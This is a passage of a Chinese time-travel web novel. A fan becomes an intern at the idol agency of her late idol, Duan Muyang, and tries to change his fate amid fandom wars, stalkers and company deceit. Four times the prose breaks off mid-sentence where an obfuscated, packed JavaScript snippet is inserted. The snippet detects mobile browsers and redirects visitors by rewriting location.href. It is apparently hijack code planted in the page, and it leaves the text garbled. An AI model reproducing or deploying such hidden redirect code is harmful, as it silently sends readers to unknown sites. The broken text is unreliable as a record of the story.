但当时段暮炀卖惨这一波她前所未有地无从下手了。 粉圈澄清就是一环扣一环,黑子永远不会认可粉丝说的话,大多时候是车轱辘打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262658|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逻辑战,吵不过就广场铺黑图。之所以要澄清,只是为了黑粉下一次想拿同一个料作文章的时候心里会咯噔一下,想到段暮炀还是有一群粉丝在反黑且不是好惹的。 段暮炀真的有在卖惨吗?有什么必要呢,这些都是他熬过来的日子,在平台上说这些,他除了被黑被嘲一点益处都没有,但是由于舆论施压,天环重新装修了练习室,放宽了合约条件。受益者并不是走过路的人,而是正在努力往这条路上走的人。 邹意从出道就开始喜欢段暮炀,听了太多他是大皇族资源咖的话,甚至粉圈偶尔都会沾沾自喜自己是皇族妈,可是,又有谁知道,段暮炀被公司鸽了整整四年,续了两次约,足足练了七年才出道,人生中宝贵的青春,他又是在何等的压力和迷茫中度过。 每次月末的考核,是在庆幸自己又完成了一次任务,还是在担忧究竟能不能出道,会不会又是画饼?如果是皇族,那段暮炀练习一年就应该C位出道了,装睡的人总是叫不醒的,或许要当明星就是需要承受被误解的代价。 如果这是一定要的,那邹意也希望段暮炀少承受一些,个人力量有限,她一点一点来,也形成了很大的力量。段暮炀粉圈谁不知道id粥的毒唯啊! 善良和真诚,是不需要自证的,邹意相信自己追星的眼光,也相信群众的眼睛是雪亮的。 但事与愿违,就在风向仍然在可控范围内,公司加了一把火推波助澜,脂粉下场放了段暮炀在家里抽烟的私照,再一次把他推上风口浪尖。 娱乐公司营销手段有很多,一个男团想保持人气,最好的方法就是炒人气队员黑料,引发粉丝内斗,不断提纯,卷各家唯粉的氪金能力。这一套天环玩得太溜了,有一段时间段暮炀的黑热搜挂在微博上半个月都下不来,专辑销量蹭蹭蹭往上涨。公司脸都笑惨了,邹意键盘都要敲冒烟都顶不住。 想到这里,邹意气得踢了电梯一脚。电梯门毫无预兆地打开。 地下练习室的格局四面透光,傍晚最后一抹斜阳翻越栏杆照进来,照在面前这个低着头,正在给手指贴创可贴的人身上。 时空才是造物主,带着邹意如愿以偿,回到还能很奢侈地见到段暮炀的时间点。 许是太过慌张,邹意第一反应不是走出电梯门,而是往后退了一小步,和段暮炀拉开了一些距离。 单手包创可贴不太方便,段暮炀一直没抬头。 “你…你好啊,段暮炀。”邹意听见自己颤抖的声音。 5. 第五章 14. 邹意没有想到,事先脑补过那么多的,见到段暮炀要说什么,心里面埋怨的,凭什么就这样消失?说好的发新歌呢?签售会不是还要办吗?你这样做,你的粉丝怎么办呢? 这些话一个字都说不出来。做不到。 情绪像休眠火山突然喷发,心里却空得要命。真的假的呀? 她愣愣地往后退,试图再拉开一些距离,拉开到粉丝和偶像之间正常的距离。 电梯门因为时间过长自动关闭。 “诶。”段暮炀用手挡了一下,挡开了电梯门,他像很多次邹意曾经在荧幕上看到的那样,随意地笑了一下,“你好?我们见过吗?” 邹意也不知道自己为什么那么窝囊,可能因为如果多说一句话她就会哭出来,总之那天她没有回答段暮炀认不认识他的问题,只是看着地面,狠狠地摇头。 否认掉自己曾经喜欢过他6年,也许在接受了事实后,邹意已经无法确定段暮炀是否喜欢舞台上的自己了,如果一个人被喜欢的那一面是他本人所讨厌的,那么这种喜欢大概会带来负担。 如果重来一次,能让你不要走上那条路,做一个纯粹快乐的人,即使不被世界熟知,也好过绝望地失去生命。邹意是这样想。 段暮炀进了电梯,按了楼层,邹意余光看见他书包挂件上是一把小吉他,伸手的时候晃了一下,邹意的眼睛更酸了。 眼前浮现出刚过去不到二十四小时的、另一个时空的故事。占据手机半个屏幕的仆告,在天环大楼底下摆的白色鲜花,地铁大屏上写满的便利贴…… 段暮炀这家伙,他知道这些吗?邹意平常根本不是多泪的人,腿摔断了没哭,被朋友骗了没哭,工作累到一整天一顿饭没吃她也能乐呵呵回家煮火锅。 但是在段暮炀身上,她就流过很多次眼泪,第一次在演唱会见到他的时候,看见被黑粉无脑黑气到发抖的时候,得知他即将solo出道的时候,还有现在,以前不是好不容易才能见一次面吗?一次签售几万块只能买三分钟啊!见到就是赚到,怎么不多看两眼… 电梯做上升运动到达一层,电梯门就要开了,段暮炀好像要走了。 邹意吸了一下鼻子,鼓起勇气回头看了一眼,仿佛感受到目光,段暮炀也看过来,神色有点不知所措,因为邹意有点太不体面了。 很久很久之后,邹意问段暮炀,当时在电梯里面碰见她,是不是觉得很莫名其秒,段暮炀说有一点点,因为她喊了段暮炀的名字但是又一句话不讲,还哭了。 邹意就问,觉得奇怪,那怎么出电梯的时候还给了她巧克力。 段暮炀就说:“一直难过不太好,我身上没有纸巾,就给了你巧克力。” 人总是会在现实中找过去的影子,段暮炀后来有一件很少人知道的事情,是出道失败被清退的练习生同期发匿名提问箱说的。内容是这样——“我离开公司那天,所有人都像少了竞争对手一样庆幸,只有段暮炀给了我一份资料,说只有这个,没有其他东西能帮了,虽然不能透露内容,但当时对我帮助很大,我知道他自己处境也很难,所以很感动。” 15. 天环的新人开发部,上班时间很长很长,基本上是跟练习生们同步,唯一的好处是早上十点才上班,不用赶早高峰,缺点是经常要到凌晨地铁都停运了才下班。 要准备舞台或者考核的时候会更晚,偶尔会到凌晨三四点。办公室好几个买了折叠床,就快把公司当成宿舍了。 新人开发部的绩效和练习生培养息息相关,练习效果不好或者爆出什么丑闻,高层问责的并不是课程指导老师,而是新人开发整个体系。 邹意在楼下走了一圈,她是真的回到了2018年,这是天意吧,老天挑选了一个段暮炀最靠谱的粉丝,来干预他的内心。 邹意突然想起来,去年段暮炀参加过的一个电台节目,有很多粉丝通过电台的网站写信点歌,有一回,一名粉丝问了他一个问题——“你更喜欢当明星的段暮炀呢?还是当普通人的段暮炀呢?” 段暮炀在那个节目里面存在感其实不是很高,因为从出道以来,公司给他安排的人设就淡淡的,cherry曾经告诉过邹意,天环给段暮炀下的命令就是少说话,多微笑就可以了。 那次段暮炀的回答让邹意印象很深,他支支吾吾了一会儿,然后说:“我已经分不太清楚了,可能时间太长了,如果不做这份工作,也不知道自己会是什么样的人。”他顿了顿才继续说:“大概只有我外婆知道吧。”段暮炀说完之后,频道安静了很久,最后播了首抒情歌,因为林晓茹在那年生病去世了。 亲人的离世是一辈子的潮湿。当时的邹意并不知道这件事对段暮炀而言是怎样的重创。 当时她回宿舍已经很累,戴着耳机听着听着就睡过去了,没有怎么解读他的话意,只觉得声音有些悲伤,但是很好听。 现在想起来,从初中就进公司,被各个出道企划遛了一次又一次,明明不擅长跳舞的,练了七年也硬生生练成主舞水平,好不容易出道了就接全网黑,赚到钱了出名了但是家人不在了。邹意不知道他会不会失望,对自己的青春失望。 16. 邹意回到办公室的时候,cherry趴在电脑前面睡着了,旁边有一份没吃的外卖,摸了一下还有温度。 邹意经过的时候,不小心碰到cherry的鼠标,电脑屏幕自动亮了。 上面是最新的出道企划细则,段暮炀的公式照就在最前面,排名是第一个,这张照片应该是不久前拍的,没有笑,眉峰锐利,眼神中还是充满期待的野心,跟后来很不一样。 邹意扫了一眼,看到一行字“预设定位:主唱、创作人(争议,待定)” 创作人?后来段暮炀的定位里确实没有这一项,到出道的第四年,邹意才知道原来段暮炀会自己写歌。 当粉丝的自觉就是看到什么资讯都要先留个证据,邹意第一反应想拍下来,后知后觉这不是她的电脑,手机举起来还没按下拍摄,被cherry抓了现行。 “你干嘛。”cherry半睁开眼睛,很警惕地把页面关了,抓住邹意的手腕。 邹意尴尬地笑了一下:“哦,这公式照挺帅的,我想拍一下段暮…不是,拍一下小段。” cherry扭了扭脖子,“怎么你也叫他小段,你不是比他小吗,差辈了亲~” 邹意想起来,曾经cherry也这么开过玩笑,在她们聊天的时候。邹意说自己也是段暮炀的妈妈粉,她就说:“你比他小呢,差辈也妈得起来?” 邹意想到这里笑出声了,网友见面,分外眼红,也许带着另一个时空的记忆,她觉得目前cherry跟她,至少心灵上的距离很近。 可现实给她泼了冷水,她现在只是一个小实习生,还是一个一整天没干活的摆烂小实习生,不是跟mentor有感情基础的网友。 “小邹,你去,洗一下广场,快,等会儿热搜要上了,广场上没一张图能看的这哪成啊!唉我服了这群粉丝,有事在组里打打行了,非要去微博升堂。” 邹意也是当过好几年社畜的人,条件反射,顺嘴一问:“有OT吗?” “等小段出道了让他给你发OT。” 17. 等小段出道了给我发OT,说得真容易,小段出道了可是对内最不会媚粉的一位,队友对咋大几十万的签售姐都是卖萌说漂亮话,我们小段能因为跟签售姐说,下次不用来了,被骂上热搜。 这种事情在粉圈里面可大可小,一不小心就容易被断章取义投厕,投脱粉回踩专区。还是后面cherry发了整段的视频签售发给邹意,邹意才知道。 整件事情是这样,签售的妹妹告诉段暮炀,感觉每次都来有一点辛苦了,因为要留学所以花钱的地方很多,以后可能不能次次都来签售了。 段暮炀在视频签售里的声音有点低也有点严肃,他说:“我会记住你的,以后可以不签我了,钱多留给自己花,再见…”视频签售时间有限,戛然而止了。 营销号搬运的时候掐头去尾,就演变成#段暮炀忘本# 邹意喝了一口办公室的免费咖啡,开始回忆自己的各种小号,还好,穿越了但是网络世界没有穿越,她微博小号都是带v的,铺广场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262659|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候就靠它们,一个号拿出去卖还要四位数呢! 天环推出新人之前,会给练习生一定的曝光量,脂粉会是不是放出身份信息和路透照片,引导粉丝讨论,以便快速形成粉丝群,这两天,新人部官号发了一段视频,段暮炀没有出镜,结果粉丝自燃了,在豆瓣公共组里控诉,打了几百楼,被队友粉屠了广场。 洗广场是一件需要耐心的事,引导散粉参与是第一,冷暴力队友丝是第二。屠广场的人就是要来气你的,如果在黑帖下面回复、吵架,她们更来劲了,不要给目光专注发新帖,也不要跨平台卖惨拱火才是最快的办法。 这些事邹意粉上段暮炀之后都干出经验了,几个v号全上,马上热门就看不见黑图了。 为了不被人发现ip相同,邹意分别挂了不同的梯子,避免引起怀疑被开盒。 半小时,邹意完成好全组剩下的工作,并在男练习生超话里发了几个质量高的红帖,偏心地帮段暮炀的专组建设了水帖专区和物料搬运专区。 cherry都目瞪口呆了:“邹意你真的有两把刷子啊!” 邹意笑而不语,段暮炀出道了真的该雇她反黑的,她绝对比正规军还要再正规。 她嘲cherry眨了眨眼睛:“包的啦!刘小樱。” 大厂总是喜欢让职员起英文名,造星大厂也不例外,所以有时候一起当了很久同事都不知道真名。 刘小樱很久没在公司里听到自己真名了,愣了愣:“你怎么知道我名字的!你还会黑公司系统?!” “不是啊,你给我点的外卖,单子里面写了全名儿!”邹意指了指外卖纸袋。 “机灵鬼!就你细心。”刘小樱笑了下。 邹意心说这是多年来在社交平台鉴粉籍鉴披皮黑练出来的。 她把喝了一半的饮料举起来,跟刘小樱隔空干了个杯:“其实是因为本来就想知道你的名字。” 有时候感情是难以衡量的,很多人对交网友嗤之以鼻,但作为追星群体,因为现实中的亲友并不了解你的乌托邦,无法感同身受乌托邦里面发生的事情,是会引起怎样的快乐或悲伤。所以同担之间,感情的互通也是纯粹的,纯粹地因为喜欢同一个人,有了很多情绪可以分享。 即便知道了刘小樱真的是脂粉,说不定跟她私联,处好基友,也是想利用她给自家孩子反黑,但邹意也很想隔空告诉那个也许还在2025年,因为段暮炀去世,偷偷流眼泪的刘小樱:“我见到段暮炀了!我会尽力看好他!尽量尽量!不发生那件事!” 18. 那天段暮炀下班好晚。邹意在公司门口的便利店等了很久,今天不是她值班,所以感觉在办公室等积极得有些刻意。 为了表现得更像偶遇,邹意已经买了一碗关东煮,两包薯片,一个米肠,还有一盒紫菜包饭。 凌晨一点半,路上已经没有很多车,虽然在空调房里,但是也能透过大面的玻璃,看到被夜风吹拂飘动的梧桐叶。 便利店里只有邹意一人,她吃得不急不慢,但是眼睛很紧张,怕不注意就看丢了。 …两点半,邹意已经困得眼睛都要睁不开,段暮炀这家伙要不要那么卷?能不能下班啊,都要冷了。邹意捂了捂放在腿上的保温桶。 拐角突然跑过来一个影子,邹意托着腮半睁开眼睛看,一只小橘猫。 黑色的背景板好像突然出现一抹亮色,金属钥匙扣的声音在安静中存在感也很明显。 一个穿着白T,身上披棒球服的男生蹲了下来,从书包里娴熟地拿出一小袋猫粮。 邹意盯了那件棒球服很久,那件另一个时空中挂在她家里快七年的棒球服,很难不回忆起曾经跟段暮炀的初遇。 她暗自得出结论:啊,段暮炀跟小猫很熟。 便利店门口的风铃很响,几乎是邹意推开的一瞬间,小猫受惊,跑到段暮炀身后,摆出了警惕的姿态。 段暮炀顺着小猫的视线看过来。 邹意不知怎的,好心虚,心跳得很快,像做了错事,像在考试,像第一次见他。 “哈哈…好…好巧哦。”她抱紧了一点怀里的保温桶。 6. 第六章 19. 人与人之间的关系会因为一些情感上的不对等产生距离或者隔阂,粉丝跟偶像之间本来就是一个付出和接受的关系,很难做到像朋友一样自然地相处,不是卑微,而是保持安全的距离会让两方都舒适,邹意也是如此。 所以以前习惯了盯着屏幕看段暮炀,能见面都是要天时地利人和,现在变成理所应当天天都能见了,还挺不适应的。 邹意努力让自己表情自然,可是居高临下看着段暮炀和一只小猫,小猫还摆出一副来者何人凶巴巴的模样,邹意开始无所适从。 小猫也许看出她的特殊情绪,朝邹意恶狠狠地哈气。 然后被段暮炀捏住了后颈皮拎了起来挂在手上,段暮炀起身带起一股气流,邹意闻到他身上的洗衣粉香。 小猫在趴他手臂上很乖,眼睛无辜地看着邹意。像是认错,像是挑衅。 段暮炀很客气地帮小猫道没礼貌的歉:“不好意思,他害怕陌生人。” 好冷漠的两个,谁是陌生人了。邹意哦了一声。然后吸了一口气,假装面色严肃又凝重,更符合办公室各位同事的气质:“嗯,那个,小段啊,你今天下班怎么这么晚?”邹意语气也很平,更像领导了。 段暮炀看着她,不知是不是错觉,邹意觉得他嘴角一侧弯了弯,像是笑了。“学外语了。”他说。 邹意眼神躲闪了一下:“哦,这么努力哦,嗯,这个是给你补身体的,小段,要加油,听见吗?”邹意装模作样地说,还拍了拍段暮炀的肩膀,但由于身高有点不够,大概拍的是手臂。 邹意这几句话也给自己壮胆了,她瞟了一样段暮炀的书包,发现刚刚他的书包拉链还一直没拉,就侧过身,把保温桶直接塞到他书包里,一鼓作气,还帮他把拉链拉好。 “小段啊,书包拉链记得拉哦,不然东西要掉的,丢三落四怎么行!”邹意又爹味地说教了很多。 这回她确定段暮炀确实笑了,小猫不知道什么时候从他身上跳下去,溜进草丛里,连拜拜都没讲。 “谢谢你了。”段暮炀拍了拍自己的书包,向邹意道谢。 邹意摸了摸头发:“哦,那个,我是新来的嘛,为了表达对你们练习生的关心,每个人都有,你是你小邹姐第一个送温暖的人,嗯,感动吧!”邹意张口就来,又拍了一次他的手臂,觉得自己演技真好。 段暮炀也很领情很上道,一看就是在公司里混久了知道怎么跟staff打好关系。他说:“知道了,谢谢你今晚帮我洗广场,小邹姐。” 邹意情不自禁地反刍他的声音,真的不是错觉,段暮炀这死小孩,小邹姐三个字拖重音了,怎么着?姐穿越了,心理年龄比你大也是姐! 慢着,邹意愣怔之余突然发现重点:“你怎么知道我帮你洗的广场?” 段暮炀挑了挑眉毛,解开手机锁屏,给她看了一个群聊的聊天记录,“cherry姐告诉我的,说新来的实习生邹意很厉害。” 靠,刘小樱这个叛徒,有群聊也不拉她,搞孤立几个意思。 邹意尴尬地笑了笑:“哪里哪里…哈哈,小事小事。” 邹意反应了一下,所以她做的反黑,段暮炀本人都会去看吗,以后的段暮炀。 这个问题有点超过,邹意飞快地措了下辞:“你会关注自己的粉圈吗?” 邹意之前有朋友说,他们就算会关注也肯定不承认,承认自己视监粉圈,以后万一出了什么事情,装死都装不成,而且三百六十五天高强度自搜,对这群装货来说太掉面了。 段暮炀点点头:“当然!” 没有什么比在粉圈辛辛苦苦做的脏活累活被正主知道并且认证更幸福的事了!邹意心里已经放烟花了。 “cherry姐给我们布置的作业里就有这个,关注粉圈而且还做记录。”段暮炀补充解释。 邹意心里的烟花就冻住变成冰霜了,原来不是特殊啊,每个人都要的。 她闷闷地小声说了一句:“cherry姐cherry姐,你很多姐姐嘛!” “什么?”段暮炀侧头问她。 邹意当然不会告诉:“没,夸你们呢。” 20. 天环的职工宿舍和练习生宿舍在一个小区,职工宿舍是单人间,酒店式公寓,练习生宿舍是四人间,单人间改装成上下铺的格局。出道之后,公司会帮他们换安保级别高一些的小区,因为要防私生粉跟踪。 但只要想跟,这些措施都是防不住的,网上有很多黑科技,几千来块能买到一个人所有信息,而且私生粉一般也不止跟一天两天,她们会潜伏很久,有时候一不注意,出门的动向和路线曝光了,她们就能顺着线索挖出一堆信息。 邹意记得段暮炀是后来队内私生粉最多的成员,原因是狗仔实在拍到他太少次,一部分粉丝成了私生之后,一直在蹲,邹意知道的最过分的一回是,出道第二年的时候,段暮炀回了一趟老家,因为坐的是高铁,订票信息不知道怎么泄露了。 私生专门买票坐到他旁边,那次还是段暮炀私人行程,身边没有工作人员,好不容易忍到下高铁,一群粉丝挤在检票口那里,整个高铁站都乱套了。 段暮炀那一次没回成家,因为担心粉丝会一直跟到外婆家里,只能急匆匆又打道回府。事情发酵一天后,好几个官方媒体因为这件事情,发了一些抵制无脑追星的文章,虽然骂的是不理智的粉丝,但是被嘲笑的依然是段暮炀。“管理不好粉丝还出什么道?”“粉随正主一看就是法制咖…”“六私生一我们来了” 就这些让人看了一肚子火的话,偏偏因为是官媒下场根本没办法反击,那次也把邹意气得扒了好几个私生的账号挂出来避雷。 邹意好像也没有发现,后来段暮炀的私人行程就更少了,坐高铁那更是再没见过。 21. 想到那段大队不回归,段暮炀一点消息和照片都没有的孤寡日子,邹意冷一激灵,哈!秋!打了个小喷嚏。 她揉揉鼻子:“小段啊,明天好像要下雨了,记得带伞哦。” 小段不愧是邹意慧眼识珠担上的人,智商情商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262660|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双商在线,就像时空中的两个影子重合了一般,邹意看着段暮炀拆下系在胸前的结,把披着的棒球服递给她。 邹意盯着他递过来的手看了一会儿,又有了想要流泪的冲动。 “快披上吧,明天才下雨,但是现在已经刮风了。”段暮炀说。 “好的,谢谢小段了,真贴心。”邹意装大人已经炉火纯青,现在叫出小段已经是脱口而出,这个称呼好像有什么新手保护期一样,掩盖了许多许多情绪,一切也变得理所当然。 熟悉的皂香味萦绕着她,邹意踩着他们的影子一步一步走,心里面波澜起伏,还是一样地,有很多很多话想说,有很多事情要说,但莫名地,不急于一时了。 快到小区大门的时候,邹意突然问:“你要不猜猜,我给你送了什么温暖。” 段暮炀拽了拽书包带,问道:“吃的吗?” “废话!”邹意低着头说。 段暮炀又思考了一会儿,好像很认真的样子,“猜不出来,好之前没有过。”他声音也低低的。 邹意快走一步到段暮炀前面,边侧着头看他边往后走,露出古怪的坏笑。“胡萝卜玉米汤!你不是喜欢这个吗?你家那边的省汤。” 有了另一个时空中六年当段暮炀粉丝的经历,邹意对段暮炀的了解程度,除了他心底面真实的想法,大概什么都知道了。 段暮炀大概没有想到,其实邹意跑了很多个店才打包到。 邹意看他没讲话,害怕段暮炀太感动了,就说:“不要以为是我自己做的,我是打包的。” 邹意后退着走,然后又慢下来跟段暮炀并排。 “你…怎么知道的?”段暮炀问她。 邹意没有思考很多就回答:“粉丝当久了呗。”说完就打了个补丁,“脂粉,当脂粉当久了,你们什么爱好我都知道。”她开朗地笑了笑。 段暮炀就点点头,说了谢谢。 短短一天,邹意感觉段暮炀对她说了好几次谢谢了,又自我满意地自我催眠,还好还好,担上的是一个有礼貌的人。 当然,邹意也谢谢段暮炀,没有因为她表现得开朗就问她为什么在电梯里掉眼泪的事,她还不知道要怎么解释这一切。 邹意印象中的段暮炀,其实跟现在遇到的二十岁的他并不一样,新的感受在慢慢代谢掉以前的印象,段暮炀并不是冷冰冰的那一类人,也不走高冷人设,会开玩笑,会喂路边的猫,会关心人,才不是网上说的那样。 如果不当明星,段暮炀在其他领域,也能过得很好。邹意看着他的背影,肩膀上还披着他的棒球服。 她自嘲地笑了一下:“嗤,还来两次,真是的。” 20. 日志记录(段暮炀 2018.07.08 今天发现小猫长大了一些,而且挑食了,旧的猫粮不愿意吃… 2018.07.08 很久没有尝过这个味道,林晓茹以前很爱做,可能因为她只会煮这一种汤吧,吃得很腻了,但是偶尔总能想起来。 7.第七章 21. 每回看到段暮炀一门心思提升技巧,学习各种技能,盼着能出道的那双充满野心的眼睛。 邹意就很难说出,段暮炀啊,其实你当明星之后好像会不快乐,要不然趁现在还来得及,没多少人认识你,换条路呗。 只剩下一年了,出道日是2019年八月九日。选择的余地不多了,如果按照原计划出道,段暮炀能不能活到28岁都要打问号。虽然这样想很自私,但是见到二十岁的段暮炀,邹意基本上可以确定,后面几年的段暮炀远没有现在过得轻松自由。 榕城的天气很多变,天气预报说百分之六十几的降水概率,从早上开始天就很阴。 就这种坏天气,高层召开了一个内部会议,邹意作为部门的实习生,被提过去做会议记录了。 昨天傍晚喝了咖啡,凌晨夜宵还吃了那么多东西,整晚都睡不踏实,一直做梦,早上起来都是凭意志力,总之邹意要困晕了。 大公司也是草台班子,开会有大半时间都在大吹逼,邹意没头脑地敲键盘,什么市场占有率啦,率先抢占市场啦,企业文化啦,家族粉啦,这些话邹意当粉丝的时候就听过很多次了,没想到穿越成staff还要听。 ppt播放到第七页,出现了一张团体合照,邹意提起了点精神,基本上都是熟悉的面孔,袁子凡、林涵、陈思琛、吴筠恩,还有两个不认识的,前四个都是段暮炀后来的队友,roadster的成员。 不是?那段暮炀呢,怎么没在照片上。 邹意把眼镜从包里拿出来戴上,从左到右再仔细看了一遍,没错啊,是roadster。 段暮炀呢?邹意年轻,又初来乍到,目前对公司高层的了解只停留在粉丝认知,早期就有传言,段暮炀跟高层关系很僵,原先负责他的主任跳槽了,新进来的制作人想要选一批全新的人证明自己审美更高,清退了很多上一批的练习生,段暮炀已经是能留下来的几个之一。 邹意脾气急,在会议上当场就想开口问,电脑刚半合上,被刘小樱按住了手。 刘小樱朝她挤眉弄眼了一下,意思就是不要惹事。什么意思?所有人都知道段暮炀没在出道组是吗?都哄着他骗着他? 22. 即使是知道了,段暮炀按照原计划是会跟着roadster一起出道的,但邹意还是气得脸热,这么多年,就这么骗他,一年一年骗?一个人又能有几个七年呢。中间又发生了什么事情,才决定把他重新调进出道组里。 会议结束,邹意抱着电脑,急匆匆地走在前面。 “喂!喂!你要去干嘛?”刘小樱追上来。 邹意甩开她的手:“我要去告诉他,告诉他上面根本没把他放进出道组。” 刘小樱摇摇头:“你冷静一点好吗,整个企划只有他一个人吗!你这属于泄密,公司可以告你的。” 邹意感觉听到了天大的笑话,话在气头上:“你不是挺真情实感的吗,说他第一天进公司就是你带的,不是同担吗?你知不知道他已经等多久了,如果不让他出为什么不放他走,你们会毁了一个人!” 刘小樱觉得邹意跟她不在一个频道,也不清楚邹意为什么会因为这件事情这么激动,这也不是一天两天的事情。 刘小樱放开她的手:“你以为他不知道吗,没闹过吗?硬刚除了爽有什么用,合同白纸黑字你知道违约金多少吗?傻女孩,哎呦!快走快走,丢人现眼,在这里说什么同担,男孩们每一个都是我担。” 邹意被刘小樱推着背进电梯,觉得很委屈,原来她当六年粉丝,了解熟知的那些全都是微不足道的小事,关于段暮炀经历的事,他真正的性格,更是一无所知,怪不得,怪不得她根本没有意识到段暮炀的精神出问题,也没觉得有任何反常。 其实跟只认识他名字的路人和营销号没什么两样,邹意也感到挫败,她冲动、没脑子、做事不考虑后果。 资本会追逐有梦想的人,把理想主义者纳入麾下,直到把他们的梦想打磨成资本眼中完美的模样,然后捧着模式化的梦,告诉他们,千万不要忘记初心。 跟高层有过节的练习生要怎么在这个小社会生存,段暮炀看着源源不断签进公司的后辈,一波一波被清退的同期,一个一个新出道的团体,又是何等心情? 邹意想去看一看段暮炀,没有要说话,就是想看一看,看看他在干什么也好。 天环的练习生有集体的课程,段暮炀已经不用跟着上集体课,大多时候是在电脑房,或者是练习成品舞。完成式爱豆被压着不上舞台,增加的只是年龄和焦虑。 现在的培养方式越来越年轻化,吃青春饭的行业格局变化根据市场需求流动,养成系是大势,这也是另一世,段暮炀出道后人气后劲不足的原因,他没什么好养成的技能了,新鲜感对新入坑的团粉来说不足,提纯困难。 怎么没一件事顺的,就这样?还有人说段暮炀是皇族是主捧,一想到那几家队友丝就烦,三天两头带段暮炀点炮,不带段暮炀的名字就点不起来炮方便他们反炒热度。 邹意摸到段暮炀常去的几间练习室,可恶啊,没有自担运是这样吗?只看见队友了,段暮炀的影子都没见着。 按照印象中后来的队友,段暮炀跟袁子凡关系最好,但是袁子凡的粉丝很坏,当然了,对家粉都是互相讨厌的,你瞒我瞒,互相往对家身上泼脏水。袁子凡的定位是门面,小奶狗长相,跟段暮炀这种锋利一些的长相根本不撞款,定位没有一点关联,两家粉丝居然能处成对家。 起因就是那些陈年老黑料,袁子凡是后辈,被段暮炀宿舍霸凌的料,有人扒出来袁子凡几张脸上带有淤青的旧照,妈妈们立刻急了,全平台卖惨哎呀谁敢欺负我宝宝。后来出道了,袁子凡这个嘴没把门的,在节目上说练习生时期最听段暮炀的话。 好嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265410|166533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !陈年谜团破案了,段暮炀就这样被打成暴力狂霸凌哥meanboy,当时邹意气得直接在私人博骂:“袁子凡现在跳进长江,长江以南全部都要茶香四溢了。” “邹意姐!你怎么来了?”邹意面前有一只手晃了一下,眼神逐渐聚焦看清了袁子凡的脸。 “我靠!吓死我了。”邹意想到自己在另一世也给袁子凡的粉圈惹了不少事情,尴尬得挠了挠头。 袁子凡小段暮炀三岁,也比段暮炀开朗很多,练习时间比较短,但好在没班味,“邹意姐,你干嘛呢?”他问。 “你们怎么都认识我了?我才来几天啊…”邹意看着他嬉皮笑脸的样子,想起来袁子凡以后媚粉特别熟练的场景,心说有些东西确实是天生的不能强求。 “我专组有个新号一直在训粉,就去问了小樱姐。”袁子凡说。 邹意客气地笑了,段暮炀快来学学,人家是后辈,都知道cherry真名叫小樱了,还扒出来我小号之一了,你呢? 邹意言归正传,没忘记自己来的目的,“诶,凡凡啊,你小段哥呢?” 袁子凡嫌弃地皱了皱鼻子:“姐,别叫凡凡好吗!” 邹意愣了愣:“事儿真多,快点,你小段哥哪呢儿,半天没见着人了,平时不是很早到吗?” 邹意觉察到袁子凡的眼神有些躲闪但是不确定,“段暮炀请假了。”他说。 “真的吗?”邹意试探地问了一下,请假干嘛支支吾吾地,难不成段暮炀知道今天高层的会议内容了,跑路了吗?那可太好了。 袁子凡凑近了一些,告诉邹意:“真的,但是姐你别问了,也别让太多人知道他请假,我跟小樱姐打过招呼了。” 跟刘小樱打过招呼?那总不可能是跑路。 “他生病了吗?感冒?流感吗还是怎么了。”邹意担心地问。 袁子凡表现得为难,像想说又不能说:“姐你别问了,不能讲的。” 不能讲不能讲,邹意进天环之后听过一万遍不能说不能讲要保密不能让他们知道,有什么天大的事情要瞒着全部人,让人担心呢?生病请假是什么见不得人的丢脸的事情吗? 当时的邹意知道的很少,所以当她后来回忆起自己的心路历程,只觉得非常羞愧和抱歉。 “你不说,我去问刘小樱,等会儿她就知道你透露给我了。”邹意真的有点急,对段暮炀的事情不管是在2025年的她还是现在2018年的她,不管是25岁还是18岁,都一样地不怎么受控。 袁子凡知道邹意不是在说假的,她是真的会去问清楚,一下就滑跪了。 他告诉邹意:“你可千万不要告诉别人,小段哥昨天晚上发病了,他吃了好几种药,现在提不起精神。” 